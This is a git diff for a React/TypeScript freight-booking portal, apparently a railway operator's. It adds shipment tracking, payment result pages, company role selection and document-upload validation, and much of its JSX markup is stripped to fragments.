+ const { data, isLoading, isError, refetch, isFetching } = useQuery({
+ ...api.bookings.tracking.queryOptions({ input: { id: bookingId } }),
+ enabled: opened && Boolean(bookingId),
+ refetchInterval: opened ? 30_000 : false,
+ });
+
+ const hasSchedule = data?.hasSchedule ?? false;
+
+ return (
+
+ refetch()}
+ refreshing={isFetching}
+ />
+
+
+ {isLoading ? (
+
+
+
+
+ Locating your train…
+
+
+
+ ) : isError ? (
+ refetch()} />
+ ) : !hasSchedule ? (
+
+ ) : data ? (
+
+
+
+
+
+ ) : null}
+
+
+ );
+}
+
+// ── Header ────────────────────────────────────────────────────────────────────
+
+function Header({
+ bookingReference,
+ trainNumber,
+ status,
+ currentSequenceNo,
+ onClose,
+ onRefresh,
+ refreshing,
+}: {
+ bookingReference: string;
+ trainNumber: string | null;
+ status: Freight.TrainScheduleStatus | null;
+ currentSequenceNo: number;
+ onClose: () => void;
+ onRefresh: () => void;
+ refreshing: boolean;
+}) {
+ return (
+
+
+
+
+
+
+
+
+ Live shipment tracking
+
+
+ {bookingReference}
+
+ {trainNumber && (
+
+ Train {trainNumber}
+
+ )}
+
+
+
+
+
+
+
+
+
+ ×
+
+
+
+
+ );
+}
+
+function IconButton({
+ children,
+ onClick,
+ title,
+ spinning,
+}: {
+ children: React.ReactNode;
+ onClick: () => void;
+ title: string;
+ spinning?: boolean;
+}) {
+ return (
+
+ {children}
+
+ );
+}
+
+function HeaderStatusPill({
+ status,
+ currentSequenceNo,
+}: {
+ status: Freight.TrainScheduleStatus | null;
+ currentSequenceNo: number;
+}) {
+ const arrived = isArrived(status);
+ const moving = isDispatched(status);
+ const bg = arrived
+ ? "rgba(14,163,113,0.22)"
+ : moving
+ ? "rgba(242,165,22,0.20)"
+ : "rgba(255,255,255,0.12)";
+ const dot = arrived ? "#5BE3B0" : moving ? ACCENT : "#CBD5E1";
+ return (
+
+
+
+ {shipmentStatusLabel(status, currentSequenceNo)}
+
+
+ );
+}
+
+// ── Summary bar (ETA / departure / arrival) ────────────────────────────────────
+
+function SummaryBar({ data }: { data: Freight.IBookingTracking }) {
+ const arrived = isArrived(data.scheduleStatus);
+ const items: Array<{ label: string; value: string; accent?: boolean }> = [
+ {
+ label: "Departed",
+ value: fmtTime(data.actualDepartureAt ?? data.scheduledDepartureAt),
+ },
+ {
+ label: arrived ? "Arrived" : "Est. arrival",
+ value: fmtTime(data.actualArrivalAt ?? data.scheduledArrivalAt),
+ accent: !arrived,
+ },
+ {
+ label: "Stations",
+ value: `${Math.max(0, data.currentSequenceNo + (data.currentSequenceNo >= 0 ? 1 : 0))} / ${data.stations.length}`,
+ },
+ ];
+ return (
+
+ {items.map((it, i) => (
+ 0 ? "1px solid #EEF2F6" : undefined,
+ background: it.accent ? "#FEFBF3" : "#FBFCFD",
+ }}
+ >
+
+ {it.label}
+
+
+ {it.value}
+
+
+ ))}
+
+ );
+}
+
+// ── Corridor: stations + train marker ──────────────────────────────────────────
+
+function Corridor({ data }: { data: Freight.IBookingTracking }) {
+ const arrived = isArrived(data.scheduleStatus);
+ const moving = isDispatched(data.scheduleStatus);
+ const stations = data.stations;
+ const current = data.currentSequenceNo;
+ const progress = corridorProgress(stations.length, current, arrived);
+
+ // Map sequenceNo → latest checkpoint at that station for captions.
+ const checkpointBySeq = new Map();
+ for (const c of data.checkpoints) checkpointBySeq.set(c.sequenceNo, c);
+
+ return (
+
+
+
+
+ Where is your train
+
+
+ · {progress}% of the route
+
+
+
+ {/* Horizontal rail */}
+
+ {/* base rail */}
+
+ {/* filled rail */}
+
+
+ {/* train marker riding the filled rail */}
+
+
+ {arrived ? : }
+
+
+
+ {/* station nodes */}
+
+ {stations.map((s, i) => {
+ const reached = arrived || (current >= 0 && i <= current);
+ const isCurrent = !arrived && i === current;
+ const isLast = i === stations.length - 1;
+ const cp = checkpointBySeq.get(s.sequenceNo);
+ return (
+
+ );
+ })}
+
+
+
+ );
+}
+
+function StationNode({
+ label,
+ reached,
+ isCurrent,
+ isEndpoint,
+ arrivedHere,
+ time,
+ align,
+}: {
+ label: string;
+ reached: boolean;
+ isCurrent: boolean;
+ isEndpoint: boolean;
+ arrivedHere: boolean;
+ time: string | null;
+ align: "left" | "center" | "right";
+}) {
+ const color = arrivedHere ? GREEN : isCurrent ? ACCENT : reached ? GREEN : "#CBD5E1";
+ return (
+
+
+
+
+
+ {label}
+
+ {time && (
+
+ {time}
+
+ )}
+
+ );
+}
+
+// ── Checkpoint feed ────────────────────────────────────────────────────────────
+
+function CheckpointFeed({ data }: { data: Freight.IBookingTracking }) {
+ // Newest first.
+ const ordered = [...data.checkpoints].sort(
+ (a, b) =>
+ new Date(b.occurredAt).getTime() - new Date(a.occurredAt).getTime(),
+ );
+
+ return (
+
+
+
+
+ Journey log
+
+
+
+ {ordered.length === 0 ? (
+
+ No checkpoints logged yet. Updates appear here as the train passes each
+ station along the corridor.
+
+ ) : (
+
+ {ordered.map((cp, i) => {
+ const isLatest = i === 0;
+ const last = i === ordered.length - 1;
+ const Icon =
+ cp.kind === Freight.TrainCheckpointKind.Arrived
+ ? CheckCircle2
+ : cp.kind === Freight.TrainCheckpointKind.Departed
+ ? Flag
+ : Train;
+ return (
+
+
+
+
+
+ {!last && (
+
+ )}
+
+
+
+
+
+ {cp.label ?? "Checkpoint"}
+
+
+ {checkpointKindLabel(cp.kind)}
+
+ {isLatest && (
+
+ Latest
+
+ )}
+
+ {cp.note && (
+
+ {cp.note}
+
+ )}
+
+ {fmtTime(cp.occurredAt)}
+
+
+
+ );
+ })}
+
+ )}
+
+ );
+}
+
+// ── Empty / error states ───────────────────────────────────────────────────────
+
+function NotDispatchedState({
+ origin,
+ destination,
+}: {
+ origin: string;
+ destination: string;
+}) {
+ return (
+
+
+
+
+
+ Not on the rails yet
+
+
+ Your shipment from {origin} to {destination} hasn't been
+ assigned to a train. Live tracking begins the moment it's dispatched and
+ starts moving along the corridor.
+
+
+ );
+}
+
+function ErrorState({ onRetry }: { onRetry: () => void }) {
+ return (
+
+
+
+
+
+ Couldn't load tracking
+
+
+ Something went wrong fetching your shipment status.
+
+
+ Try again
+
+
+ );
+}
+
+// ── helpers ────────────────────────────────────────────────────────────────────
+
+function fmtTime(iso?: string | null): string {
+ if (!iso) return "—";
+ const d = new Date(iso);
+ if (Number.isNaN(d.getTime())) return "—";
+ return d.toLocaleString(undefined, {
+ month: "short",
+ day: "numeric",
+ hour: "2-digit",
+ minute: "2-digit",
+ });
+}
+
+// keyframes (injected once)
+if (
+ typeof document !== "undefined" &&
+ !document.getElementById("edr-tracking-kf")
+) {
+ const style = document.createElement("style");
+ style.id = "edr-tracking-kf";
+ style.textContent = `
+@keyframes edr-spin { to { transform: rotate(360deg); } }
+@keyframes edr-pulse { 0%,100% { opacity: 1; } 50% { opacity: 0.35; } }
+@keyframes edr-bob { 0%,100% { transform: translateY(0); } 50% { transform: translateY(-3px); } }
+`;
+ document.head.appendChild(style);
+}
diff --git a/apps/edr-freight-web/portal/src/pages/bookings/tracking/trackingStages.ts b/apps/edr-freight-web/portal/src/pages/bookings/tracking/trackingStages.ts
new file mode 100644
index 000000000..4acbcec8a
--- /dev/null
+++ b/apps/edr-freight-web/portal/src/pages/bookings/tracking/trackingStages.ts
@@ -0,0 +1,64 @@
+import { Freight } from "@edr/types";
+
+const { TrainScheduleStatus } = Freight;
+
+export function isArrived(
+ status?: Freight.TrainScheduleStatus | null,
+): boolean {
+ return status === TrainScheduleStatus.Arrived;
+}
+
+export function isDispatched(
+ status?: Freight.TrainScheduleStatus | null,
+): boolean {
+ return status === TrainScheduleStatus.Dispatched;
+}
+
+/** Human label for the schedule status, from the rider's point of view. */
+export function shipmentStatusLabel(
+ status?: Freight.TrainScheduleStatus | null,
+ currentSequenceNo = -1,
+): string {
+ switch (status) {
+ case TrainScheduleStatus.Arrived:
+ return "Arrived";
+ case TrainScheduleStatus.Dispatched:
+ return currentSequenceNo <= 0 ? "Departed" : "In transit";
+ case TrainScheduleStatus.Scheduled:
+ return "Scheduled";
+ case TrainScheduleStatus.Cancelled:
+ return "Cancelled";
+ case TrainScheduleStatus.Draft:
+ return "Preparing";
+ default:
+ return "Not dispatched";
+ }
+}
+
+/**
+ * 0–100 progress across the corridor, derived from how many stations the train
+ * has reached. Arrived → 100. Not departed → 0.
+ */
+export function corridorProgress(
+ stationCount: number,
+ currentSequenceNo: number,
+ arrived: boolean,
+): number {
+ if (arrived) return 100;
+ if (stationCount <= 1 || currentSequenceNo < 0) return 0;
+ const lastSeq = stationCount - 1;
+ return Math.round((Math.min(currentSequenceNo, lastSeq) / lastSeq) * 100);
+}
+
+/** Caption for a checkpoint kind. */
+export function checkpointKindLabel(kind: Freight.TrainCheckpointKind): string {
+ switch (kind) {
+ case Freight.TrainCheckpointKind.Departed:
+ return "Departed";
+ case Freight.TrainCheckpointKind.Arrived:
+ return "Arrived";
+ case Freight.TrainCheckpointKind.Passed:
+ default:
+ return "Passed";
+ }
+}
diff --git a/apps/edr-freight-web/portal/src/pages/payments/CheckPaymentPage.tsx b/apps/edr-freight-web/portal/src/pages/payments/CheckPaymentPage.tsx
index f61763f74..2aaa0793c 100644
--- a/apps/edr-freight-web/portal/src/pages/payments/CheckPaymentPage.tsx
+++ b/apps/edr-freight-web/portal/src/pages/payments/CheckPaymentPage.tsx
@@ -1,8 +1,16 @@
import { useMemo } from "react";
import { useQuery } from "@tanstack/react-query";
import { useNavigate } from "react-router-dom";
-import { CheckCircle2, LoaderCircle, XCircle } from "lucide-react";
-import { Button } from "@edr/ui-common";
+import {
+ Box,
+ Button,
+ Divider,
+ Loader,
+ Stack,
+ Text,
+ ThemeIcon,
+} from "@mantine/core";
+import { AlertTriangle, CheckCircle2, FileSearch, FileText, Home, RotateCcw } from "lucide-react";
import { api } from "@/services/api";
function extractOrderId(): string | null {
@@ -13,6 +21,35 @@ function extractOrderId(): string | null {
return segments[segments.length - 1] ?? null;
}
+function PaymentCard({ children }: { children: React.ReactNode }) {
+ return (
+
+
+ {children}
+
+
+ );
+}
+
export default function CheckPaymentPage() {
const navigate = useNavigate();
const orderId = useMemo(() => extractOrderId(), []);
@@ -29,105 +66,307 @@ export default function CheckPaymentPage() {
if (!orderId) {
return (
-
-
-
-
-
- No payment reference found
-
-
navigate("/bookings")}
- >
- Back to My Bookings
-
-
-
-
+
+
+
+
+
+
+ No payment reference
+
+
+ We could not find a payment order to verify.
+
+
+
+ navigate("/bookings")}
+ styles={{ root: { height: 48, fontWeight: 700 } }}
+ >
+ Back to my bookings
+
+
+
);
}
- return (
-
-
- {isLoading && (
-
-
-
- Checking payment status…
-
-
- )}
+ if (isLoading) {
+ return (
+
+
+
+
+ Verifying your payment…
+
+
+ Please wait, this usually takes a few seconds.
+
+
+
+ );
+ }
- {isSuccess && (
-
-
-
-
-
- Payment was successful!
-
-
- Your booking has been confirmed and payment is complete.
-
+ if (isSuccess) {
+ return (
+
+
+
+
+
+
+ Payment verified
+
+
+ Your booking is confirmed and payment is complete.
+
+
+
+
+
+
+ EDR staff will assign a train and you will be notified of any updates.
+
+
+
+
}
onClick={() => navigate("/bookings")}
- className="mt-2"
+ styles={{ root: { height: 48, fontWeight: 700, fontSize: 15 } }}
>
- Go to My Bookings
+ Go to my bookings
-
- )}
-
- {!isLoading && data && !isSuccess && (
-
-
-
-
-
- Payment status: {data.status}
-
-
- Please try again or contact support if the issue persists.
-
navigate("/bookings")}
- className="mt-2"
+ fullWidth
+ size="md"
+ radius={12}
+ variant="subtle"
+ color="gray"
+ leftSection={ }
+ onClick={() => navigate("/")}
+ styles={{ root: { height: 44, fontWeight: 600, fontSize: 14 } }}
>
- Back to My Bookings
+ Back to home
-
- )}
+
+
+ Questions?{" "}
+
+ support@edr.et
+
+
+
+
+ );
+ }
- {isError && (
-
-
-
-
-
- Something went wrong
-
-
+ if (isError) {
+ return (
+
+
+
+
+
+
+ Verification failed
+
+
+ We could not verify your payment status.
+
+
+
+
+
+
{error instanceof Error
? error.message
- : "Failed to check payment status."}
-
+ : "An unexpected error occurred. Please try again or contact support."}
+
+
+
+
}
onClick={() => navigate("/bookings")}
- className="mt-2"
+ styles={{ root: { height: 48, fontWeight: 700, fontSize: 15 } }}
>
- Back to My Bookings
+ Back to my bookings
-
- )}
-
-
+ }
+ onClick={() => navigate("/")}
+ styles={{ root: { height: 44, fontWeight: 600, fontSize: 14 } }}
+ >
+ Back to home
+
+
+
+ Need help?{" "}
+
+ support@edr.et
+
+
+
+
+ );
+ }
+
+ // Non-success status (e.g. PAY_FAIL, PENDING, etc.)
+ return (
+
+
+
+
+
+
+ Payment incomplete
+
+
+ Status:{" "}
+
+ {data?.status ?? "Unknown"}
+
+
+
+
+
+
+
+ Your payment did not complete successfully. Nothing has been charged.
+ You can retry from your booking page.
+
+
+
+
+ }
+ onClick={() => navigate("/bookings")}
+ styles={{ root: { height: 48, fontWeight: 700, fontSize: 15 } }}
+ >
+ Back to my bookings — retry payment
+
+ }
+ onClick={() => navigate("/")}
+ styles={{ root: { height: 44, fontWeight: 600, fontSize: 14 } }}
+ >
+ Back to home
+
+
+
+ Need help?{" "}
+
+ support@edr.et
+
+
+
+
);
}
diff --git a/apps/edr-freight-web/portal/src/pages/payments/PaymentFailurePage.tsx b/apps/edr-freight-web/portal/src/pages/payments/PaymentFailurePage.tsx
new file mode 100644
index 000000000..912f65808
--- /dev/null
+++ b/apps/edr-freight-web/portal/src/pages/payments/PaymentFailurePage.tsx
@@ -0,0 +1,171 @@
+import {
+ Box,
+ Button,
+ Divider,
+ Group,
+ Stack,
+ Text,
+ ThemeIcon,
+} from "@mantine/core";
+import { AlertTriangle, Home, RotateCcw } from "lucide-react";
+import { useNavigate } from "react-router-dom";
+
+export default function PaymentFailurePage() {
+ const navigate = useNavigate();
+
+ return (
+
+
+ {/* Red header stripe */}
+
+
+
+
+
+ Payment not completed
+
+
+ Nothing was charged — your booking is still active.
+
+
+
+ {/* Body */}
+
+
+
+
+
+
+
+ Your payment was declined or cancelled. No charge was made.
+
+
+
+
+
+ You can retry using the Pay now button on
+ your booking page.
+
+
+
+
+
+ Contact support if the problem persists.
+
+
+
+
+
+
+
+
+
+ }
+ onClick={() => navigate("/bookings")}
+ styles={{
+ root: { height: 48, fontWeight: 700, fontSize: 15 },
+ }}
+ >
+ Back to my bookings — retry payment
+
+ }
+ onClick={() => navigate("/")}
+ styles={{
+ root: { height: 44, fontWeight: 600, fontSize: 14 },
+ }}
+ >
+ Back to home
+
+
+
+
+ Need help?{" "}
+
+ support@edr.et
+
+
+
+
+
+ );
+}
diff --git a/apps/edr-freight-web/portal/src/pages/payments/PaymentSuccessPage.tsx b/apps/edr-freight-web/portal/src/pages/payments/PaymentSuccessPage.tsx
new file mode 100644
index 000000000..de9a20c0e
--- /dev/null
+++ b/apps/edr-freight-web/portal/src/pages/payments/PaymentSuccessPage.tsx
@@ -0,0 +1,170 @@
+import {
+ Box,
+ Button,
+ Divider,
+ Group,
+ Stack,
+ Text,
+ ThemeIcon,
+} from "@mantine/core";
+import { CheckCircle2, FileText, Home } from "lucide-react";
+import { useNavigate } from "react-router-dom";
+
+export default function PaymentSuccessPage() {
+ const navigate = useNavigate();
+
+ return (
+
+
+ {/* Green header stripe */}
+
+
+
+
+
+ Payment successful
+
+
+ Your payment has been received and confirmed.
+
+
+
+ {/* Body */}
+
+
+
+
+
+
+
+ Your booking is now confirmed for scheduling.
+
+
+
+
+
+ A receipt will be sent to your registered email.
+
+
+
+
+
+ EDR staff will process your booking and assign a train.
+
+
+
+
+
+
+
+
+
+ }
+ onClick={() => navigate("/bookings")}
+ styles={{
+ root: { height: 48, fontWeight: 700, fontSize: 15 },
+ }}
+ >
+ Go to my bookings
+
+ }
+ onClick={() => navigate("/")}
+ styles={{
+ root: { height: 44, fontWeight: 600, fontSize: 14 },
+ }}
+ >
+ Back to home
+
+
+
+
+ Questions? Contact{" "}
+
+ support@edr.et
+
+
+
+
+
+ );
+}
diff --git a/apps/edr-freight-web/portal/src/pages/settings/CompanyRolesCard.tsx b/apps/edr-freight-web/portal/src/pages/settings/CompanyRolesCard.tsx
new file mode 100644
index 000000000..000dcc25e
--- /dev/null
+++ b/apps/edr-freight-web/portal/src/pages/settings/CompanyRolesCard.tsx
@@ -0,0 +1,143 @@
+import { useMemo, useState } from "react";
+import { useMutation, useQueryClient } from "@tanstack/react-query";
+import { Building2, CheckCircle2, Save, XCircle } from "lucide-react";
+import {
+ Button,
+ Card,
+ Group,
+ SimpleGrid,
+ Text,
+ Title,
+} from "@mantine/core";
+import { api } from "@/services/api";
+import type { ProfileResponse } from "@/types/profile";
+import RoleCard from "./RoleCard";
+import { rolesForCompanyType } from "./companyRoles";
+
+interface CompanyRolesCardProps {
+ profile: ProfileResponse;
+}
+
+export default function CompanyRolesCard({ profile }: CompanyRolesCardProps) {
+ const queryClient = useQueryClient();
+
+ const options = useMemo(
+ () => rolesForCompanyType(profile.companyType),
+ [profile.companyType],
+ );
+
+ // Roles already persisted (active + locked), keyed by type -> reference.
+ const activeByType = useMemo(() => {
+ const map = new Map();
+ for (const p of profile.companyProfiles) map.set(p.type, p.reference);
+ return map;
+ }, [profile.companyProfiles]);
+
+ const [selected, setSelected] = useState>(new Set());
+
+ const toggle = (type: string) => {
+ if (activeByType.has(type)) return; // add-only: active roles are locked
+ setSelected((prev) => {
+ const next = new Set(prev);
+ if (next.has(type)) next.delete(type);
+ else next.add(type);
+ return next;
+ });
+ };
+
+ const mutation = useMutation({
+ mutationFn: (types: string[]) =>
+ api.companies.addCompanyProfiles.call({ types }),
+ onSuccess: () => {
+ setSelected(new Set());
+ queryClient.invalidateQueries({
+ queryKey: api.companies.getProfile.queryKey(),
+ });
+ queryClient.invalidateQueries({
+ queryKey: api.companies.getInfo.queryKey(),
+ });
+ },
+ });
+
+ const handleSave = () => {
+ if (selected.size === 0) return;
+ mutation.mutate(Array.from(selected));
+ };
+
+ return (
+
+
+
+ Business Profile
+
+
+ {profile.companyType === "customer"
+ ? "Select the role(s) your company operates as — importer, exporter, or both."
+ : "Your company's operational role."}
+
+
+ {options.length === 0 ? (
+
+ Role management for this company type is coming soon.
+
+ ) : (
+
+ {options.map((opt) => {
+ const isActive = activeByType.has(opt.type);
+ return (
+ toggle(opt.type)}
+ />
+ );
+ })}
+
+ )}
+
+ {options.length > 0 && (
+
+
+ {mutation.isSuccess && (
+
+
+
+ Profile updated
+
+
+ )}
+ {mutation.isError && (
+
+
+
+ Failed to update profile
+
+
+ )}
+
+ }
+ loading={mutation.isPending}
+ disabled={selected.size === 0}
+ onClick={handleSave}
+ >
+ {selected.size > 1 ? "Add Roles" : "Add Role"}
+
+
+ )}
+
+ );
+}
diff --git a/apps/edr-freight-web/portal/src/pages/settings/OnboardingRoleSelect.tsx b/apps/edr-freight-web/portal/src/pages/settings/OnboardingRoleSelect.tsx
new file mode 100644
index 000000000..faa9e7377
--- /dev/null
+++ b/apps/edr-freight-web/portal/src/pages/settings/OnboardingRoleSelect.tsx
@@ -0,0 +1,77 @@
+import { Card, Divider, Group, SimpleGrid, Text, Title } from "@mantine/core";
+import { Building2 } from "lucide-react";
+import RoleCard from "./RoleCard";
+import { CUSTOMER_ROLES, FREIGHT_FORWARDER } from "./companyRoles";
+
+interface OnboardingRoleSelectProps {
+ /** Currently selected profile types (e.g. ["importer"], ["importer","exporter"], ["freight_forwarder"]). */
+ value: string[];
+ onChange: (next: string[]) => void;
+}
+
+/**
+ * First (and only) thing shown in the Company Profile tab during onboarding.
+ * Importer / Exporter sit side by side and can both be picked; Freight
+ * Forwarder is a separate, mutually-exclusive choice below them. A valid
+ * selection reveals the company-profile fields.
+ */
+export default function OnboardingRoleSelect({
+ value,
+ onChange,
+}: OnboardingRoleSelectProps) {
+ const selected = new Set(value);
+ const isForwarder = selected.has(FREIGHT_FORWARDER.type);
+
+ // Toggling a customer role drops any forwarder selection (mutually exclusive).
+ const toggleCustomerRole = (type: string) => {
+ const next = new Set(value.filter((t) => t !== FREIGHT_FORWARDER.type));
+ if (next.has(type)) next.delete(type);
+ else next.add(type);
+ onChange([...next]);
+ };
+
+ const toggleForwarder = () => {
+ onChange(isForwarder ? [] : [FREIGHT_FORWARDER.type]);
+ };
+
+ return (
+
+
+
+ What does your company do?
+
+
+ Pick Importer, Exporter, or both — or register as a Freight Forwarder.
+
+
+
+ {CUSTOMER_ROLES.map((role) => (
+ toggleCustomerRole(role.type)}
+ />
+ ))}
+
+
+
+
+
+
+ );
+}
diff --git a/apps/edr-freight-web/portal/src/pages/settings/RoleCard.tsx b/apps/edr-freight-web/portal/src/pages/settings/RoleCard.tsx
new file mode 100644
index 000000000..2e507ff83
--- /dev/null
+++ b/apps/edr-freight-web/portal/src/pages/settings/RoleCard.tsx
@@ -0,0 +1,75 @@
+import { Box, Group, Text, ThemeIcon, UnstyledButton } from "@mantine/core";
+import { Check } from "lucide-react";
+
+export interface RoleCardProps {
+ label: string;
+ description: string;
+ icon: React.ReactNode;
+ /** Highlighted because the user just selected it (toggleable). */
+ selected?: boolean;
+ /** Highlighted and non-interactive because it is already persisted. */
+ locked?: boolean;
+ /** Small note under the description, e.g. "Active · IM-00001". */
+ lockedNote?: string;
+ onClick?: () => void;
+}
+
+/**
+ * The selectable company-role card used by both the onboarding role picker and
+ * the add-only roles card in settings. Visual mirror of the onboarding
+ * account-type cards.
+ */
+export default function RoleCard({
+ label,
+ description,
+ icon,
+ selected = false,
+ locked = false,
+ lockedNote,
+ onClick,
+}: RoleCardProps) {
+ const highlighted = selected || locked;
+
+ return (
+
+
+
+ {icon}
+
+
+
+ {label}
+
+
+ {description}
+
+ {lockedNote && (
+
+ {lockedNote}
+
+ )}
+
+ {highlighted && (
+
+ )}
+
+
+ );
+}
diff --git a/apps/edr-freight-web/portal/src/pages/settings/TabCompanyProfile.tsx b/apps/edr-freight-web/portal/src/pages/settings/TabCompanyProfile.tsx
index f2ad48f2c..f02740664 100644
--- a/apps/edr-freight-web/portal/src/pages/settings/TabCompanyProfile.tsx
+++ b/apps/edr-freight-web/portal/src/pages/settings/TabCompanyProfile.tsx
@@ -1,4 +1,4 @@
-import { useMemo } from "react";
+import { useMemo, useState } from "react";
import { useMutation, useQueryClient } from "@tanstack/react-query";
import { useForm } from "react-hook-form";
import { zodResolver } from "@hookform/resolvers/zod";
@@ -17,7 +17,12 @@ import {
import { api } from "@/services/api";
import PhoneInput from "@/components/auth/PhoneInput";
import type { ProfileResponse } from "@/types/profile";
-import type { CreateCompanyPayload } from "@/services/companies.service";
+import type {
+ CreateCompanyPayload,
+ CompanyProfileInput,
+} from "@/services/companies.service";
+import CompanyRolesCard from "./CompanyRolesCard";
+import OnboardingRoleSelect from "./OnboardingRoleSelect";
export const COMPANY_PROFILE_SCHEMA = z.object({
companyName: z.string().min(1, "Company name is required"),
@@ -52,6 +57,7 @@ export default function TabCompanyProfile({
}: TabCompanyProfileProps) {
const queryClient = useQueryClient();
const isCreate = mode === "create";
+ const [selectedRoles, setSelectedRoles] = useState([]);
const defaultValues = useMemo((): CompanyProfileFormData => {
if (profile) {
@@ -91,8 +97,7 @@ export default function TabCompanyProfile({
const mutation = useMutation({
mutationFn: async (data: CompanyProfileFormData) => {
- const payload: CreateCompanyPayload = {
- companyType: "customer",
+ const base = {
companyName: data.companyName,
companyEmail: data.companyEmail,
companyPhone: `${data.companyPhoneCountryCode}${data.companyPhone}`,
@@ -103,10 +108,21 @@ export default function TabCompanyProfile({
};
if (isCreate) {
+ // Importer/Exporter -> a "customer" company; Freight Forwarder is its
+ // own company type. Both drive the persisted CompanyProfile rows.
+ const companyType = selectedRoles.includes("freight_forwarder")
+ ? "freight_forwarder"
+ : "customer";
+ const payload: CreateCompanyPayload = {
+ ...base,
+ companyType,
+ companyProfiles: selectedRoles.map((type) => ({
+ type: type as CompanyProfileInput["type"],
+ })),
+ };
return api.companies.create.call(payload);
- } else {
- return api.companies.updateProfile.call(payload);
}
+ return api.companies.updateProfile.call(base);
},
onSuccess: () => {
queryClient.invalidateQueries({
@@ -118,14 +134,31 @@ export default function TabCompanyProfile({
},
});
- const onSubmit = (data: CompanyProfileFormData) => mutation.mutate(data);
+ const onSubmit = (data: CompanyProfileFormData) => {
+ if (isCreate && selectedRoles.length === 0) return;
+ mutation.mutate(data);
+ };
+
+ // During onboarding the role selection gates the form: nothing else shows
+ // until the user picks Importer/Exporter or Freight Forwarder.
+ const showForm = !isCreate || selectedRoles.length > 0;
return (
-
-
-
- Company Profile
-
+
+ {isCreate ? (
+
+ ) : (
+ profile &&
+ )}
+ {showForm && (
+
+
+
+ Company Profile
+
{isCreate
? "Enter your company registration details to get started"
@@ -251,6 +284,8 @@ export default function TabCompanyProfile({
-
+
+ )}
+
);
}
diff --git a/apps/edr-freight-web/portal/src/pages/settings/TabDocuments.tsx b/apps/edr-freight-web/portal/src/pages/settings/TabDocuments.tsx
index 4425c513e..4d5c4b759 100644
--- a/apps/edr-freight-web/portal/src/pages/settings/TabDocuments.tsx
+++ b/apps/edr-freight-web/portal/src/pages/settings/TabDocuments.tsx
@@ -1,4 +1,16 @@
-import { useState } from "react";
+import { api } from "@/services/api";
+import { companiesService } from "@/services/companies.service";
+import { getMinFiles } from "@/types/fileUploadSettings";
+import type { ProfileResponse } from "@/types/profile";
+import { SmartFileInput } from "@edr/ui-common";
+import {
+ Button,
+ Card,
+ Center,
+ Group,
+ Text,
+ Title,
+} from "@mantine/core";
import { useMutation, useQuery, useQueryClient } from "@tanstack/react-query";
import {
ArrowRight,
@@ -8,18 +20,7 @@ import {
UploadCloud,
XCircle,
} from "lucide-react";
-import {
- Card,
- Group,
- Title,
- Text,
- Button,
- Center,
-} from "@mantine/core";
-import { api } from "@/services/api";
-import { companiesService } from "@/services/companies.service";
-import { SmartFileInput } from "@edr/ui-common";
-import type { ProfileResponse } from "@/types/profile";
+import { useState } from "react";
interface TabDocumentsProps {
profile: ProfileResponse;
@@ -33,7 +34,7 @@ export default function TabDocuments({ profile, mode = "edit", onContinue }: Tab
const docSettingQuery = useQuery(
api.fileUploadSettings.getByCode.queryOptions({
- input: { code: "customer_documents" },
+ input: { code: "customer_file_documents" },
}),
);
@@ -45,6 +46,42 @@ export default function TabDocuments({ profile, mode = "edit", onContinue }: Tab
},
});
+ const [fieldErrors, setFieldErrors] = useState>({});
+
+ const handleFilesChange = (next: Record) => {
+ setDocumentFiles(next);
+ // Clear required-field errors for any field that now has a file.
+ setFieldErrors((prev) => {
+ if (Object.keys(prev).length === 0) return prev;
+ const updated = { ...prev };
+ for (const key of Object.keys(updated)) {
+ const v = next[key];
+ const hasValue = Array.isArray(v) ? v.length > 0 : v != null;
+ if (hasValue) delete updated[key];
+ }
+ return updated;
+ });
+ };
+
+ // Array-aware: an emptied multi-file field is `[]`, which must not count.
+ const hasFiles = Object.values(documentFiles).some((f) =>
+ Array.isArray(f) ? f.length > 0 : f != null,
+ );
+
+ const validateRequired = (): Record => {
+ const errs: Record = {};
+ for (const field of docSettingQuery.data?.fields ?? []) {
+ const min = getMinFiles(field);
+ if (min <= 0) continue;
+ const v = documentFiles[field.fileKey];
+ const count = Array.isArray(v) ? v.length : v ? 1 : 0;
+ if (count < min) {
+ errs[field.fileKey] = `${field.fileLabel} is required`;
+ }
+ }
+ return errs;
+ };
+
return (
@@ -67,7 +104,8 @@ export default function TabDocuments({ profile, mode = "edit", onContinue }: Tab
)}
@@ -100,13 +138,14 @@ export default function TabDocuments({ profile, mode = "edit", onContinue }: Tab
leftSection={ }
loading={docUploadMutation.isPending}
onClick={() => {
- const hasFiles = Object.values(documentFiles).some((f) => f !== null);
+ const validationErrors = validateRequired();
+ if (Object.keys(validationErrors).length > 0) {
+ setFieldErrors(validationErrors);
+ return;
+ }
if (hasFiles) {
docUploadMutation.mutate(documentFiles, {
- onSuccess: () => {
- queryClient.invalidateQueries({ queryKey: api.companies.getProfile.queryKey() });
- onContinue?.();
- },
+ onSuccess: () => onContinue?.(),
});
} else {
onContinue?.();
@@ -120,7 +159,11 @@ export default function TabDocuments({ profile, mode = "edit", onContinue }: Tab
type="button"
leftSection={ }
loading={docUploadMutation.isPending}
- onClick={() => docUploadMutation.mutate(documentFiles)}
+ disabled={!hasFiles}
+ onClick={() => {
+ if (!hasFiles) return;
+ docUploadMutation.mutate(documentFiles);
+ }}
>
Upload Documents
diff --git a/apps/edr-freight-web/portal/src/pages/settings/companyRoles.tsx b/apps/edr-freight-web/portal/src/pages/settings/companyRoles.tsx
new file mode 100644
index 000000000..d875d68af
--- /dev/null
+++ b/apps/edr-freight-web/portal/src/pages/settings/companyRoles.tsx
@@ -0,0 +1,39 @@
+import { ArrowDownToLine, ArrowUpFromLine, Building2 } from "lucide-react";
+
+export interface RoleMeta {
+ type: string;
+ label: string;
+ description: string;
+ icon: React.ReactNode;
+}
+
+export const IMPORTER: RoleMeta = {
+ type: "importer",
+ label: "Importer",
+ description: "Import goods into Ethiopia via the railway corridor.",
+ icon: ,
+};
+
+export const EXPORTER: RoleMeta = {
+ type: "exporter",
+ label: "Exporter",
+ description: "Export goods from Ethiopia via rail.",
+ icon: ,
+};
+
+export const FREIGHT_FORWARDER: RoleMeta = {
+ type: "freight_forwarder",
+ label: "Freight Forwarder",
+ description: "Handle cargo on behalf of importers and exporters.",
+ icon: ,
+};
+
+/** Importer / Exporter — the two roles a "customer" company can hold. */
+export const CUSTOMER_ROLES: RoleMeta[] = [IMPORTER, EXPORTER];
+
+// dj_freight_forwarder and transporter are intentionally not exposed yet.
+export function rolesForCompanyType(companyType: string): RoleMeta[] {
+ if (companyType === "customer") return CUSTOMER_ROLES;
+ if (companyType === "freight_forwarder") return [FREIGHT_FORWARDER];
+ return [];
+}
